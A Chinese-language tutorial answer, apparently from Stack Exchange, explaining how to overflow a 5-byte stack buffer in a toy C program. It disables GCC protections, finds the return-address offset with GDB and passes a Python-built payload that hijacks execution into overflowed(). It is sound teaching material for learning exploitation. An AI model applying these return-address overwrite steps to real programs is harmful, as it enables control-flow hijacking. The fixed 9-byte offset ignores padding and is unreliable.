如何在Linux下用GDB利用缓冲区溢出执行overflowed()函数?
栈溢出控制EIP执行overflowed()函数的实操步骤
首先是你提供的测试代码:
#include <string.h> #include <stdio.h> void overflowed() { printf("%s\n", "Execution Hijacked"); } void function1(char *str) { char buffer[5]; strcpy(buffer, str); } void main(int argc, char *argv[]) { function1(argv[1]); printf("%s\n", "Executed normally"); }
一、编译代码(关闭安全防护)
现代GCC默认开启栈保护机制,会阻止栈溢出攻击,所以编译时需要手动关闭:
gcc -fno-stack-protector -z execstack -m32 -o overflow overflow.c
参数说明:
-fno-stack-protector:关闭栈金丝雀(Stack Canary)保护-z execstack:允许栈区域执行代码(避免NX保护拦截)-m32:编译为32位程序(简化地址计算和调试)
二、计算缓冲区到EIP的偏移量
你之前的错误在于计算了main和overflowed的地址偏移,但我们需要的是**buffer到函数返回地址(EIP)的栈字节偏移**,具体步骤:
方式1:GDB调试验证
- 启动调试器:
gdb ./overflow - 在
function1处设置断点:b function1 - 运行程序并传入一串重复字符(比如20个'A'):
run $(python -c 'print "A"*20') - 程序崩溃后,查看EIP寄存器的值:
info registers eip- 如果EIP的值是
0x41414141('A'的ASCII码),说明前面的字符刚好覆盖到EIP。此时统计到EIP被覆盖前的字符数就是偏移量。 - 结合代码分析:
buffer[5]占5字节,加上栈帧中EBP的4字节,总偏移为5+4=9字节——前9个字符填充buffer和EBP,第10-13字节将覆盖EIP。
- 如果EIP的值是
方式2:手动计算栈布局
32位程序中,function1的栈帧结构如下(栈向下增长):
高地址 | 返回地址(EIP要覆盖的位置) | | EBP(4字节) | | buffer[5](5字节) | 低地址
所以从buffer起始到返回地址的偏移量为5+4=9字节。
三、获取overflowed()的函数地址
用objdump查看二进制文件的符号表:
objdump -d ./overflow | grep overflowed
输出类似:08048456 <overflowed>:,其中0x08048456就是overflowed()的内存地址。
也可以在GDB中直接查询:p overflowed,输出会显示函数的具体地址。
四、构造Payload并执行
Payload的结构为:[偏移量长度的填充字符] + [overflowed()地址的小端序字节]
- 32位程序地址采用小端序存储,所以
0x08048456要转换为\x56\x84\x04\x08
用Python生成Payload并运行程序:
./overflow $(python -c 'print "A"*9 + "\x56\x84\x04\x08"')
执行后会输出Execution Hijacked,说明EIP已被成功控制,程序跳转到overflowed()执行。
你之前操作失败的核心原因
你错误计算了两个函数的地址偏移,但栈溢出的核心是覆盖函数调用的返回地址,而非计算函数间的地址差。必须找到从缓冲区到返回地址(EIP)的栈字节偏移,才能精准覆盖EIP并跳转到目标函数。
内容的提问来源于stack exchange,提问作者user21893516
相关产品推荐
相关产品推荐

